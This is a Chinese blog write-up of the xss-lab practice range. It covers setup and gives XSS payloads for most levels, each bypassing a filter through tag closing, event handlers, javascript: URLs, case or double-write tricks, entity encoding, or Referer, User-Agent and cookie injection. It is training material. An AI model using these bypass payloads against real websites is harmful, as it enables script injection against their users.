xss-lab靶场搭建+题目解答

目录

xss-lab靶场搭建

xss-lab题目+解答

level1

level2

level3

level4

level5

level6

level7

level8

level9

level10

level11

level12

level13

level16


xss-lab靶场搭建

 在www目录下放入文件xss-lab

xss-lab题目+解答

level1

<script>slert(1)</script>

level2

标签闭合

 " οnclick="alert(1)

level3

绕过htmlspecials()

12' οnclick='alert(1)

level4

闭合
11" οnclick="alert(1)

123" οnclick=alert(1)//

level5

伪协议和标签

11"><a href="javascript:alert(1)">

level6

大小写绕过

123"><sCript>alert(1)</scRipt>

level7

双写绕过

123"><scrscriptipt>alert(1)</scrscriptipt>

level8

a标签href伪协议+url编码,url编码会被浏览器自动解码

javascript:alert(1)

编码后为:

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

 

level9

编码+字符串

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;('http://')

level10

将hidden标签覆盖

?t_sort=1" οnmοuseοver="alert(1)" type='text'

level11

Referer,覆盖hidden标签

111" οnmοuseοver='alert(1)' type='text'

需要在level10进行跳转 

 使用brup抓包

修改Referer

 修改完后level11完成

level12

user-agent,覆盖hidden标签

111" οnmοuseοver='alert(1)' type='text'

使用brup抓包 

 修改User-Agent

 成功通过level12

 

level13

cookie,覆盖hidden标签

111" οnmοuseοver='alert(1)' type='text'

 使用brup抓包 

  修改cookie

  成功通过level13

level16

将script替换为空格,然后所有空格替换为 

解决方法,使用其他不含script的标签以及替代空格的方式

<img%0asrc="1"%0aοnerrοr=alert(1)>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值